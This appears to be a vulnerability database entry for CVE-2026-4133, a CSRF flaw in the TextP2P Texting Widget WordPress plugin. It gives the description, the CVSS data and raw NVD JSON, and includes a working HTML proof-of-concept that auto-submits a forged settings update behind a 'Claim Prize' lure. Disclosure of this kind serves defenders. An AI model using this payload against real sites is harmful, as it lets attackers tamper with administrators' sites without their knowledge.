CVE-2026-4133

Description

The TextP2P Texting Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.7. This is due to missing nonce validation in the imTextP2POptionPage() function which processes settings updates. The form at line 314 does not include a wp_nonce_field(), and the POST handler at line 7 does not call check_admin_referer() or wp_verify_nonce() before processing settings changes. This makes it possible for unauthenticated attackers to update all plugin settings including chat widget titles, messages, API credentials, colors, and reCAPTCHA configuration via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TextP2P Texting Widget <= 1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-4133 CSRF Vulnerability -->
<!-- Attacker sends this HTML to the Admin -->
<html>
  <body>
    <form action="http://victim-site/wp-admin/admin.php" method="POST">
      <input type="hidden" name="option_page" value="imTextP2POptions" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=im-textp2p-options" />
      <!-- Malicious payload to change settings -->
      <input type="hidden" name="imTextP2PData[widget_title]" value="HACKED" />
      <input type="hidden" name="imTextP2PData[message_text]" value="This site has been compromised" />
      <input type="submit" value="Claim Prize" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4133
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4133
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4133/
[4] VulDB https://vuldb.com/cve/CVE-2026-4133
[5] https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L299
[6] https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L7
[7] https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L299
[8] https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L7
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/2d36fa25-108b-462b-b84e-2e77943b1871?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4133", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:24.400", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The TextP2P Texting Widget plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.7. This is due to missing nonce validation in the imTextP2POptionPage() function which processes settings updates. The form at line 314 does not include a wp_nonce_field(), and the POST handler at line 7 does not call check_admin_referer() or wp_verify_nonce() before processing settings changes. This makes it possible for unauthenticated attackers to update all plugin settings including chat widget titles, messages, API credentials, colors, and reCAPTCHA configuration via a forged request, granted they can trick a site administrator into performing an action such as clicking a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L299", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L7", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L299", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L7", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d36fa25-108b-462b-b84e-2e77943b1871?source=cve", "source": "[email protected]"}]}}